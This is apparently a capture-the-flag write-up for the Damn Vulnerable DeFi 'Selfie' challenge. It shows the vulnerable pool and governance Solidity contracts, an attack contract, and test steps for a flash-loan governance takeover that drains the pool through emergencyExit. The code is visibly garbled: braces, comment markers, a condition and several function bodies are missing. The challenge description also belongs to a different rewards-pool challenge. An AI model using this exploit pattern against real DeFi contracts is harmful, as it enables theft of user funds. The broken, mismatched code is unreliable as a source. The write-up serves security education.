DamnVulnerableDeFi - 06_Selfie


Challenge Link to heading

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?

You are provided with the code for the Pool:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./SimpleGovernance.sol";

 * @title SelfiePool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
contract SelfiePool is ReentrancyGuard, IERC3156FlashLender {

    ERC20Snapshot public immutable token;
    SimpleGovernance public immutable governance;
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    error RepayFailed();
    error CallerNotGovernance();
    error UnsupportedCurrency();
    error CallbackFailed();

    event FundsDrained(address indexed receiver, uint256 amount);

    modifier onlyGovernance() {
        if (msg.sender != address(governance))
            revert CallerNotGovernance();

    constructor(address _token, address _governance) {
        token = ERC20Snapshot(_token);
        governance = SimpleGovernance(_governance);

    function maxFlashLoan(address _token) external view returns (uint256) {
        if (address(token) == _token)
            return token.balanceOf(address(this));
        return 0;

    function flashFee(address _token, uint256) external view returns (uint256) {
        if (address(token) != _token)
            revert UnsupportedCurrency();
        return 0;

    function flashLoan(
        IERC3156FlashBorrower _receiver,
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external nonReentrant returns (bool) {
        if (_token != address(token))
            revert UnsupportedCurrency();

        token.transfer(address(_receiver), _amount);
        if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS)
            revert CallbackFailed();

        if (!token.transferFrom(address(_receiver), address(this), _amount))
            revert RepayFailed();
        return true;

    function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "./ISimpleGovernance.sol"
 * @title SimpleGovernance
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
contract SimpleGovernance is ISimpleGovernance {

    uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;
    DamnValuableTokenSnapshot private _governanceToken;
    uint256 private _actionCounter;
    mapping(uint256 => GovernanceAction) private _actions;

    constructor(address governanceToken) {
        _governanceToken = DamnValuableTokenSnapshot(governanceToken);
        _actionCounter = 1;

    function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
        if (!_hasEnoughVotes(msg.sender))
            revert NotEnoughVotes(msg.sender);

        if (target == address(this))
            revert InvalidTarget();
        if (data.length > 0 && target.code.length == 0)
            revert TargetMustHaveCode();

        actionId = _actionCounter;

        _actions[actionId] = GovernanceAction({
            target: target,
            value: value,
            proposedAt: uint64(block.timestamp),
            executedAt: 0,
            data: data

        unchecked { _actionCounter++; }

        emit ActionQueued(actionId, msg.sender);

    function executeAction(uint256 actionId) external payable returns (bytes memory) {
            revert CannotExecute(actionId);

        GovernanceAction storage actionToExecute = _actions[actionId];
        actionToExecute.executedAt = uint64(block.timestamp);

        emit ActionExecuted(actionId, msg.sender);

        (bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data);
        if (!success) {
            if (returndata.length > 0) {
                assembly {
                    revert(add(0x20, returndata), mload(returndata))
            } else {
                revert ActionFailed(actionId);

        return returndata;

    function getActionDelay() external pure returns (uint256) {

    function getGovernanceToken() external view returns (address) {
        return address(_governanceToken);

    function getAction(uint256 actionId) external view returns (GovernanceAction memory) {
        return _actions[actionId];

    function getActionCounter() external view returns (uint256) {
        return _actionCounter;

     * @dev an action can only be executed if:
     * 1) it's never been executed before and
     * 2) enough time has passed since it was first proposed
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = _actions[actionId];
        if (actionToExecute.proposedAt == 0) // early exit
            return false;

        uint64 timeDelta;
        unchecked {
            timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;

        return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;

    function _hasEnoughVotes(address who) private view returns (bool) {
        uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
        uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;

Solution Link to heading

The vulnerability here is pretty easy to spot. To get all the money from the vault we will need to call the emergencyExit() function of the pool. This function only works if its called from the governance, so we will need to get the governance to call this function. The way to do this is by queueing this call as an action, holding more than half of the tokens at that time, waiting for 2 days and then executing the action. So the game plan is:

  1. Take out a flash loan.
  2. Take a manual snapshot using the snapshot() function of the token.
  3. Call the queueaction with the emergencyExit() function of the pool.
  4. Now our balance at the last snapshot is checked, which is giant thanks to the flashloan.
  5. Our action gets queued.
  6. We repay the loan.
  7. We wait for 2 days until the grace period finished.
  8. We call to execute and receive all them sweet moneys.

I once again wrote an attack contract that does this for us:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import "./ISimpleGovernance.sol";
import "./SelfiePool.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";

contract Attack_Selfie is IERC3156FlashBorrower{
    address owner;
    SelfiePool pool;
    ISimpleGovernance gov;
    uint256 max_loan;

        owner = msg.sender;

    function letsAGo(address _pool, address _gov) public
        pool        = SelfiePool(_pool);
        gov         = ISimpleGovernance(_gov);
        max_loan    = pool.token().balanceOf(_pool);

        pool.flashLoan(IERC3156FlashBorrower(address(this)), address(pool.token()), max_loan, "0x");

    function letsAGoV2() public

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32)
        gov.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));

        DamnValuableTokenSnapshot(token).approve(address(pool), max_loan);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");

In the tescase we first need to deploy our contract and call the first function so that our action gets queued.

const Attack_Selfie = await ethers.getContractFactory('Attack_Selfie', player);
attack = await Attack_Selfie.deploy();

//Use Flashloan to be able to queue your proposal
await attack.connect(player).letsAGo(pool.address, governance.address);

Then we have to wait for 2 days to be able to execute our action

await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);

After the 2 days we can finally execute our action using the second fun of the attack contract.

await attack.connect(player).letsAGoV2();

This leads to us being able to execute the testcase properly.

Files Link to heading